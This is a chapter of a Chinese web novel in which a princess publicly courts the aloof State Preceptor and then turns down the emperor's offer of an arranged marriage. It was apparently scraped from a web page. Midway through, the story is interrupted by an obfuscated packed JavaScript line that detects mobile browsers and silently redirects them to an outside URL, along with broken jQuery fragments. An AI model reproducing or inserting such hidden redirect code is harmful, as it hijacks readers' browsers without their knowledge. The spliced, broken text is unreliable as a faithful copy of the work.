28. 成何体统

作品:《清冷表哥他偏要以下犯上

    凛冬已至,寒风如刀,刮在人脸上生疼。


    皇宫那两扇朱红色的巍峨大门紧闭着。


    天刚蒙蒙亮,长街上空无一人,唯有一辆枣红色的马车孤零零地停在宫墙拐角。


    舒挽掀开厚重的车帘,从车辕上跳了下来。


    她今日特意穿了一身绯红色的织锦斗篷,在这皑皑白雪中,宛如一株傲雪凌霜的红梅,扎眼得很。


    “郡主,这暖手炉还是带上吧,仔细冻坏了手。”


    春雨心疼地递过一只掐丝珐琅的手炉。


    舒挽却摆了摆手,嘴角勾起一抹势在必得的笑意。


    “带什么手炉?”


    “若是手不凉,如何能博得国师大人的垂怜?”


    她接过春雨手中提着的紫檀木食盒,里面装着她天不亮就起来熬制的“八宝玲珑粥”和几碟精致的苏式点心。


    其实也就是让厨房做的,她不过是在最后撒了一把葱花罢了。


    但这就足够她演一出“洗手作羹汤”的深情戏码了。


    辰时三刻。


    沉重的宫门发出一阵令人牙酸的“吱呀”声,缓缓开启。


    下朝的大臣们鱼贯而出,三三两两地低声交谈着。


    舒挽立刻挺直了腰背,目光在人群中飞快地搜寻着那道白色的身影。


    终于,那一抹不染尘埃的雪白出现在视线中。


    宴时身着一袭月白色的鹤氅,衣摆上用银线绣着繁复的云纹,随着他的步伐轻轻晃动,端的是仙风道骨,清冷出尘。


    他目不斜视,仿佛周围的一切都入不了他的眼。


    “国师大人!”


    舒挽清脆的声音在清晨的冷风中响起,引得周围的大臣纷纷侧目。


    她提着裙摆,小跑着迎了上去,脸颊因为寒冷而冻得通红,眼中却盛满了毫不掩饰的爱慕。


    “国师大人留步。”


    宴时的脚步微微一顿,眉头几不可见地蹙了一下。


    他垂眸,看着挡在自己面前的女子。


    “清河郡主。”


    他的声音冷淡疏离,像是昆仑山巅终年不化的积雪。


    “有事?”


    舒挽献宝似的将手中的食盒举高了几分,笑意盈盈。


    “我知道大人每日早朝辛苦,这是我特意起早为您准备的早膳。”


    “这八宝粥熬了两个时辰,软糯香甜,最是暖胃。”


    “还有这点心,也是我亲手做的,大人尝尝?”


    宴时淡淡地扫了一眼那个食盒,眼中闪过一丝不耐。


    “不必。”


    “郡主请回吧。”


    说完,他便要绕过舒挽离开。


    舒挽却不依不饶,身形一晃,再次挡在了他的面前。


    “国师大人若是不吃,这粥冷了就不好吃了。”


    “我为了这粥,手都烫红了呢。”


    她说着,故意伸出那双冻得通红的手,在宴时面前晃了晃,语气娇嗔。


    周围的大臣们已经开始指指点点,窃窃私语。


    “这清河郡主怎么这般不知羞耻?”


    “当街拦住国师,成何体统!”


    “真是丢尽了宋大将军的脸面。”


    宴时的脸色愈发阴沉,那双琉璃般的眸子里泛起一丝冷意。


    “让开。”


    仅仅两个字,却带着不容置疑的威压。


    舒挽强压下心头的杀意,脸上依旧是一副受了委屈的小媳妇模样。


    “大人若是不收,我明日便还来。”


    “我就在这里等到大人收下为止。”


    宴时冷冷地看了她一眼,仿佛在看一个不可理喻的疯子。


    “随你。”


    他大袖一挥,带起一阵冷风,径直越过舒挽,上了早已等候在一旁的马车。


    马车辚辚而去,扬起一片雪尘。


    舒挽站在原地,看着那远去的车影,嘴角的笑意一点点凝固,最后化作一抹嘲讽。


    她随手将那精致的食盒递给一旁的乞丐。


    “赏你了。”


    乞丐千恩万谢地接过去,狼吞虎咽起来。


    舒挽正欲转身回府,眼角的余光却瞥见不远处走来的两道身影。


    她的身体瞬间僵硬。


    那是沈太傅和沈知洲。


    沈太傅须发皆白,身着正一品的紫色朝服,神情肃穆。


    而沈知洲跟在父亲身后,一身青色官袍,身姿挺拔如松,只是那张平日里总是带着温润笑意的脸,此刻却结了一层寒霜。


    避无可避。


    舒挽深吸一口气,脸上迅速挂起一抹得体的微笑,欠身行礼。


    “沈太傅,沈大人。”


    沈太傅停下了脚步,目光复杂地看着舒挽。


    他看了看舒挽身后被乞丐分食的早膳,又看了看宴时马车消失的方向。


    沈太傅长叹了一口气,声音苍老而疲惫。


    “宋家满门忠烈,意欢……你莫做出让宋家丢了脸面之事啊。”


    这声叹息,像是重锤一般敲在舒挽的心上。


    她低下头,长长的睫毛遮住了眼底的酸涩。


    “太傅教训得是,意欢省得。”


    沈太傅摇了摇头,不再多言,背着手缓缓向自家的马车走去。


    舒挽抬起头,目光落在了沈知洲的身上。


    她张了张嘴,似乎想说些什么,哪怕只是一句简单的寒暄。


    然而,沈知洲并未给她开口的机会。


    他目视前方,眼神空洞而冰冷,仿佛根本没有看见眼前站着这么一个大活人。


    他就那样径直从她身边走了过去。


    衣袖擦过她的斗篷,带起一阵微不可察的风。


    舒挽僵在原地。


    她看着沈知洲挺直的背影,看着他扶着沈太傅上了马车。


    自始至终,他都没有回头看她一眼。


    “郡主,咱们回吧,雪下大了。”


    春雨撑着伞走了过来,小声提醒道。


    舒挽眨了眨眼,将眼底涌上的湿意逼了回去。


    “好,回府。”


    她转过身,挺直了脊梁,大步走向自己的马车。


    接下来的半个月,舒挽风雨无阻。


    每日下朝时分,那辆枣红色的马车都会准时出现在宫门口。


    她变着花样地送吃食,送暖炉,送亲手绣的荷包。


    尽管宴时从未笑过一次,尽管他每一次的脸色都比上一次更难看。


    甚至有时候,他会当着众人的面,将她送的东西扔在地上,任由车轮碾过。


    舒挽却像是一只打不死的蟑螂,越挫越勇。


    每一次被拒绝,她都只是红着眼眶,第二天依旧笑脸相迎。


    很快,“清河郡主痴恋国师大人,每日宫门苦守”的消息,就像长了翅膀一样,飞遍了京城的大街小巷。


    茶馆酒肆里,说书先生唾沫横飞地讲述着这段“女追男”的奇闻。


    有人嘲笑她不知廉耻,有人感叹她痴心一片,也有人猜测这是宋家落魄后急于寻找靠山的无奈之举。


    无论外人如何评说,舒挽的目的达到了。


    这日午后。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876531|189301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    舒挽正在院中修剪一盆枯萎的腊梅。


    “圣旨到——”


    尖细的太监嗓音打破了郡主府的宁静。


    舒挽手中的剪刀“咔嚓”一声,剪断了一截枯枝。


    终于来了。


    她放下剪刀,整理了一下衣裳,从容地走到前厅接旨。


    传旨的是皇帝身边的贴身大太监,王公公。


    “清河郡主,陛下口谕,宣您即刻进宫觐见。”


    舒挽塞给王公公一个沉甸甸的荷包,脸上露出几分恰到好处的惶恐。


    “公公,陛下此时召见,可是为了……近日那些流言?”


    王公公捏了捏荷包的厚度,脸上的褶子笑成了一朵菊花。


    “郡主是个聪明人,陛下听闻了些风声,也就是叫您去问几句话,郡主不必惊慌。”


    “多谢公公提点。”


    御书房内,龙涎香的气味浓郁得有些呛人。


    皇帝坐在宽大的御案后,手中把玩着一枚玉扳指,浑浊的目光却透着精明,审视着跪在下方的女子。


    “臣女舒挽,叩见陛下,吾皇万岁万岁万万岁。”


    舒挽规规矩矩地行了大礼,额头贴在冰冷的金砖上。


    “平身吧。”


    皇帝的声音听不出喜怒。


    “谢陛下。”


    舒挽站起身,垂首敛目,一副乖巧模样。


    “这几日,京城里关于你的传闻甚嚣尘上。”


    皇帝慢条斯理地开口,目光如炬。


    “听闻你每日都在宫门口堵截国师,可有此事?”


    舒挽咬了咬嘴唇,脸颊瞬间飞起两抹红晕,像是被人戳中了心事的少女。


    “回陛下……确有此事。”


    她抬起头,眼中闪烁着一种近乎狂热的光芒。


    “臣女……臣女心悦国师大人。”


    “自那日宫宴一见,大人的风采便印在臣女脑海中,挥之不去。”


    “臣女知道此举有些惊世骇俗,但这颗心……实在是控制不住。”


    皇帝看着她这副情根深种的模样,眼中闪过一丝玩味。


    “哦?没想到宋卿的女儿,竟是个痴情种。”


    他放下手中的扳指,身体微微前倾。


    “既然你如此喜欢国师,那朕便成全你。”


    “朕曾许诺过你一个愿望,君无戏言。”


    “你若是想,朕现在就可以下旨,为你和国师赐婚。”


    赐婚?


    若是现在赐婚,以她对宴时的了解,他若是这么不情不愿的娶了她,只怕是用不了多久她就会暴病而亡。


    她要的不仅仅是一个虚名,而是要让宴时心甘情愿的娶她。


    她“扑通”一声再次跪下,眼中泛起了泪光。


    “陛下隆恩,臣女感激涕零。”


    “但是……臣女不想陛下赐婚。”


    皇帝眉头微挑,似乎有些意外。


    “为何?这不是你想要的吗?”


    舒挽抬起头,目光坚定。


    “强扭的瓜不甜。”


    “国师大人那样神仙般的人物,若是被一道圣旨强行绑在臣女身边,他定会心生怨怼。”


    “臣女不想要他的人,臣女想要……他的心。”


    “臣女想让他心甘情愿地娶我,想让他真真正正地爱上我。”


    这一番话,说得肉麻至极,天真至极。


    但在皇帝听来,却让他放下了几分戒心。


    一个为了情爱冲昏头脑的蠢女人,总比一个精于算计的将门虎女要好掌控得多。